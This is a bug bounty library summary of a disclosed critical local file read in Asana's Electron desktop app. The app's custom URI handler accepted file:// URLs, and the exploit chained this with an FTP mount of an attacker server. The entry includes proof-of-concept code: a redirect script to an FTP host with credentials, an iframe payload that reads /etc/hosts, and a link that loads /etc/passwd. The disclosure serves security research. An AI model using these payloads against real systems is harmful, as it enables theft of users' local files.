# Critical Local File Read in Electron Desktop App

Asana Electron app's custom URI handler lacked protocol validation, allowing an attacker to load local files via file:// and exfiltrate them using a malicious HTML file mounted via FTP.

- Payout: $6,200
- Severity: critical
- Program: Asana
- Found by: Renwa
- Disclosed: 2022-08-16
- Write-up quality: 8/10
- Original: https://bugcrowd.com/disclosures/f7ce8504-0152-483b-bbf3-fb9b759f9f89/critical-local-file-read-in-electron-desktop-app
- Library page: https://bugbountylibrary.com/r/bc%3A1e859365-1430-4dcc-b79f-afe538fe1303
- Tags: area:os domain:desktop impact:data-leak kind:bounty platform:bugcrowd sev:critical tech:electron technique:chained technique:source-review vuln:path-traversal

**Target:** Asana Desktop App (Electron) custom URI handler asanadesktop://
**Root cause:** The _handleCustomProtocolUrl function constructs a URL from the path without validating the protocol, allowing file:// URLs to be loaded in the webview. Electron's file:// origin allows local files to read other local files.
**Steps:**
1. Decompile Electron app with asar to inspect source.
2. Identify custom URI handler asanadesktop:///app/... that loads URL via loadURL().
3. Craft URL `https://app.asana.com/-/desktop_app_link?path=/file:///etc/passwd` to load local file.
4. Host malicious pwn.html on FTP server; victim visits attacker page that redirects to `ftp://user:pass@attacker.com` to mount server at `/Volumes/attacker.com/`.
5. Redirect victim to `asanadesktop:///app/file:///Volumes/attacker.com/public_html/pwn.html` to load malicious HTML.
6. pwn.html uses iframe to read local files (e.g., `/etc/hosts`) and exfiltrate via alert or network.
**How found:** Researcher decompiled Electron app, noticed custom URI handler lacked protocol validation, and realized Electron's file:// origin allows local file access. Then found a way to mount attacker-controlled files via FTP to bypass username requirement.
**Exploitation:** Attacker hosts malicious HTML on FTP server. Victim visits attacker page, which redirects to ftp:// to mount the server locally (Mac: /Volumes/attacker.com). Then redirects to asanadesktop:///app/file:///Volumes/attacker.com/public_html/pwn.html. The Electron app loads the local HTML file, which can read other local files due to file:// origin and exfiltrate them.
**Escalation:** Chained open redirect with local file read and FTP mount to achieve arbitrary file read without knowing victim's username.
**Insight:** Electron apps with custom URI handlers often fail to validate protocols; file:// origin in Electron allows local file reads. Use FTP/SMB mounts to get predictable paths for local file loading without knowing usernames.

## Proof of concept (copied exactly from the original report)

**Malicious dox.php redirecting to FTP then desktop_app_link**

```
function start(){
location='ftp://tinnier-regions:slawbra23@files.000webhost.com';
setTimeout(()=>{
location='https://app.asana.com/-/desktop_app_link?path=/file:///Volumes/files.000webhost.com/public_html/pwn.html'
},10000)
```

**pwn.html iframe reading local /etc/hosts**

```
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
 <script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)
```

**desktop_app_link loading local file via file://**

```
https://app.asana.com/-/desktop_app_link?path=/file:///etc/passwd
```

